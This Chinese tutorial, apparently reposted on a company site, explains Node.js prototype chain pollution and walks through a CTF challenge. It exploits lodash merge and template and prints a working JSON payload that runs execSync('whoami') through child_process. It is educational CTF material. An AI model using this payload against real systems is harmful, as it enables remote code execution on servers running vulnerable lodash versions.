您好,登錄后才能下訂單哦!
如何解析Node.js原型鏈污染的利用,相信很多沒有經(jīng)驗的人對此束手無策,為此本文總結(jié)了問題出現(xiàn)的原因和解決方法,通過這篇文章希望你能解決這個問題。
我將介紹在什么情況下原型鏈會被污染,以及通過ctf題來展示實際場景中如何去利用原型鏈污染。
修改一個對象的原型中的屬性,影響到新實例化出來的對象,使其帶上了我們給對象原型添加的屬性,這就是原型鏈污染,那么在實際應(yīng)用中哪些情況會存在原型鏈被污染的可能呢?
之前說過在JavaScript中對象就是鍵值對的集,并且我們試驗過這樣一段代碼:
var obj = { "name": "ErDogQAQ", "team": "ATL" } console.log(obj.name); console.log(obj.team); console.log(obj);
發(fā)現(xiàn)了對象中存在一個名為__proto__
的鍵,而他就指向他構(gòu)造函數(shù)的原型,我們后面也通過A.__proto__.a = 2;
這樣修改這個鍵的值的方式造成了原型鏈污染,呢么我們也就有思路了,只要找到那些我們能夠控制數(shù)組(也就是對象)的鍵名的操作,我們就可以通過修改鍵名為__proto__
并控制它的值的方式來造成原型鏈污染。
在實際中能夠進行這種參數(shù)的函數(shù)一般有:
對象合并(merge);
對象克?。╟lone)(本質(zhì)還是將一個對象合并到空對象中)
我們以合并為例,先搞一個merge函數(shù):
function merge(target, source) { for (let key in source) { if (key in source && key in target) { merge(target[key], source[key]) } else { target[key] = source[key] } } }
在合并的過程中存在賦值的操作:target[key] = source[key]
那么我們將key改為__proto__
是不是就可以原型鏈污染了呢?我們用代碼來實驗一下:
let o1 = {} let o2 = {a: 1, "__proto__": {b: 2}} merge(o1, o2) console.log(o1.a, o1.b) o3 = {} console.log(o3.b) console.log(o2)
可以看到,合并確實成功了,o1本來是空對象,現(xiàn)在已經(jīng)有了屬性a和b,但是原型鏈并沒有被污染,新構(gòu)造的對象o3并沒有帶上我們預(yù)想的屬性b。
我們來分析一下原因,隨后查看對象o2發(fā)現(xiàn),在我們創(chuàng)建o2的時候,__proto__
已將代表了o2的原型,此時去遍歷o2的所有鍵名拿到的值是[a,b],而__proto__
并沒有作為鍵名被賦值,所以我們并沒有修改Object的原型。
那么我們?nèi)绾尾拍茏?code>__protp__被認為是一個鍵名呢?答案是利用JSON解析。
我們修改一下代碼:
let o1 = {} let o2 = JSON.parse('{"a": 1, "__proto__": {"b": 2}}') merge(o1, o2) console.log(o1.a, o1.b) o3 = {} console.log(o3.b) console.log(o2)
可以看到這次新建的o3對象已經(jīng)帶上了b屬性,說明Object已經(jīng)被污染,同樣我們看o2對象時也可以看到,__proto__
也被認為是一個鍵名了。
這是因為,JSON解析的情況下,__proto__
會被認為是一個真正的“鍵名”,而不代表“原型”,所以在遍歷o2的時候會存在這個鍵。
merge操作是最常見可能控制鍵名的操作,也最能被原型鏈攻擊,很多常見的庫都存在這個問題。
下面我們就開始結(jié)合ctf中的題目進行實際分析。
通常在ctf中原型鏈污染的題目都會直接給出源碼,并且源碼通常都比較長,直接去看并不能很好的理解代碼,所以需要本地搭建一個環(huán)境來方便我們本地嘗試以及動態(tài)調(diào)試。
這里以Code-Breaking 2018的Thejs這一題為例。
這個就不多解釋了直接去官網(wǎng)下載并安裝就可以了。
安裝完后直接在cmd下輸入node命令就可以像python一樣進入命令交互模式了。
https://github.com/phith0n/code-breaking/tree/master/2018/thejs/web
在cmd中進入源碼所在的目錄,然后直接執(zhí)行npm install
命令就可以自動安裝所需的依賴包了。
安裝完后可以看到他提示我們發(fā)現(xiàn)了4個漏洞,可以運行npm audit fix
進行修復(fù),或運行npm audit
獲取詳細信息。
這里我們就運行npm audit
看一下詳細信息:
可以看到它告訴我們在lodash
這個包中有4個原型污染漏洞,這正是我們需要利用的地方所以一會我們就著重看與lodash
相關(guān)的代碼就可以了。(注意這里版本是4.17.4,在新版本中漏洞已經(jīng)被修復(fù))
這里我使用VS Code 進行調(diào)試,打開VS Code后點擊打開文件夾,打開源碼所在目錄,打開server.js然后點擊左邊的運行/調(diào)試按鈕,點擊創(chuàng)建 launch.json 文件,選擇環(huán)境為node.js
然后就會自動在目錄下生成一個.vscode文件夾里面有一個launch.json文件,檢查program
是否為server.js
,沒有問題直接點擊啟動程序就能夠正常啟動或者斷點調(diào)試了。
我們先看一下題目源碼:
const fs = require('fs') const express = require('express') const bodyParser = require('body-parser') const lodash = require('lodash') const session = require('express-session') const randomize = require('randomatic') const app = express() app.use(bodyParser.urlencoded({extended: true})).use(bodyParser.json()) app.use('/static', express.static('static')) app.use(session({ name: 'thejs.session', secret: randomize('aA0', 16), resave: false, saveUninitialized: false })) app.engine('ejs', function (filePath, options, callback) { // define the template engine fs.readFile(filePath, (err, content) => { if (err) return callback(new Error(err)) let compiled = lodash.template(content) let rendered = compiled({...options}) return callback(null, rendered) }) }) app.set('views', './views') app.set('view engine', 'ejs') app.all('/', (req, res) => { let data = req.session.data || {language: [], category: []} if (req.method == 'POST') { data = lodash.merge(data, req.body) req.session.data = data } res.render('index', { language: data.language, category: data.category }) }) app.listen(3000, () => console.log(`Example app listening on port 3000!`))
剛才已經(jīng)知道了lodash包中有反序列化漏洞,所以我們著重看與lodash相關(guān)的代碼和我們上傳數(shù)據(jù)的地方就可以了。
...... const lodash = require('lodash') ...... app.engine('ejs', function (filePath, options, callback) { // define the template engine fs.readFile(filePath, (err, content) => { if (err) return callback(new Error(err)) let compiled = lodash.template(content) let rendered = compiled({...options}) return callback(null, rendered) }) }) ...... app.all('/', (req, res) => { let data = req.session.data || {language: [], category: []} if (req.method == 'POST') { data = lodash.merge(data, req.body) req.session.data = data } res.render('index', { language: data.language, category: data.category }) })
我們可以看到與lodash相關(guān)的代碼有兩句:
let compiled = lodash.template(content) data = lodash.merge(data, req.body)
查詢官方文檔后知道
lodash.template
的作用:
簡單理解就是一個簡單的模板引擎,會將content內(nèi)容放進模板渲染。
lodash.merge
的作用:
這個不用多解釋,就是我們?nèi)账家瓜氲膶ο蠛喜⒑瘮?shù)了,能夠污染原型鏈的十有八九就是這里了。
那么我們就來試試是否真的能夠污染原型鏈:
我們在代碼中下好斷點,然后提交參數(shù)。
● if (req.method == 'POST') { //在這里下斷點 data = lodash.merge(data, req.body) req.session.data = data }
這里還需要注意,直接提交是不能造成原型鏈污染的,因為我們之前也試過了,只有在JSON解析的情況下__proto__
才會被認為是一個鍵名,才能夠造成原型鏈污染。那么我們?nèi)绾尾拍茏屛覀儌魅氲膮?shù)按照JSON解析呢?
這里我們在代碼中看到const app = express()
題目使用的是express
框架,而express
框架支持根據(jù)Content-Type
來解析請求Body,所以我們只需要將Content-Type
改為application/json
即可。
我們提交一個參數(shù):{"__proto__":{"A":"ATL"}}
看看到底會不會造成原型鏈污染:
提交后我們將代碼步過到merge函數(shù)處理之后:
可以看到經(jīng)過merge函數(shù)處理data的原型也就是Object中果然帶上了A屬性,證明了此處存在原型鏈污染漏洞。
那么我們現(xiàn)在找到了能夠污染原型鏈的地方,接下來就要想想如何利用了,我們又想起了template
函數(shù)的官方文檔中寫了可以使用sourceURLs
進行調(diào)試,那我們就跟進template
函數(shù)看看:
// Use a sourceURL for easier debugging. var sourceURL = 'sourceURL' in options ? '//# sourceURL=' + options.sourceURL + '\n' : ''; ...... var result = attempt(function() { return Function(importsKeys, sourceURL + 'return ' + source) .apply(undefined, importsValues); });
可以看到先是判斷options
中是否有屬性sourceURL
,如果有就進行拼接,沒有則為空,然后將這個值拼接進new Function
的第二個參數(shù)。
那么我們現(xiàn)在就有思路了,我們可以利用原型鏈污染,給Object中插入一個sourceURL
屬性,當執(zhí)行到template
中時,判斷options
中原本是沒有sourceURL
的,但是因為JavaScript的查找機制會一直向上查找,查到Object中時找到了sourceURL
,然后就會拼接進new Function
造成任意代碼執(zhí)行。
有了攻擊思路,那么我們就來構(gòu)造payload測試:
{"__proto__":{"sourceURL": "\u000areturn e => { for (var a in {}) {delete Object.prototype[a]; } return global.process.mainModule.constructor._load('child_process').execSync('whoami')}\u000a// "}}
提交后我們還是回來看調(diào)試信息:
可以看到經(jīng)過merge函數(shù)處理,Object中已經(jīng)帶上了sourceURL
屬性,我們到template
函數(shù)時步入在看看能否獲取到sourceURL
屬性:
在這里步入:
可以看到這里sourceURL
有值說明這里成功獲取到了sourceURL
屬性,那么我們最后看一下執(zhí)行結(jié)果:
可以看到,成功執(zhí)行了命令。到此我們就進行了一次完整的原型鏈污染利用。
看完上述內(nèi)容,你們掌握如何解析Node.js原型鏈污染的利用的方法了嗎?如果還想學(xué)到更多技能或想了解更多相關(guān)內(nèi)容,歡迎關(guān)注億速云行業(yè)資訊頻道,感謝各位的閱讀!
免責聲明:本站發(fā)布的內(nèi)容(圖片、視頻和文字)以原創(chuàng)、轉(zhuǎn)載和分享為主,文章觀點不代表本網(wǎng)站立場,如果涉及侵權(quán)請聯(lián)系站長郵箱:is@yisu.com進行舉報,并提供相關(guān)證據(jù),一經(jīng)查實,將立刻刪除涉嫌侵權(quán)內(nèi)容。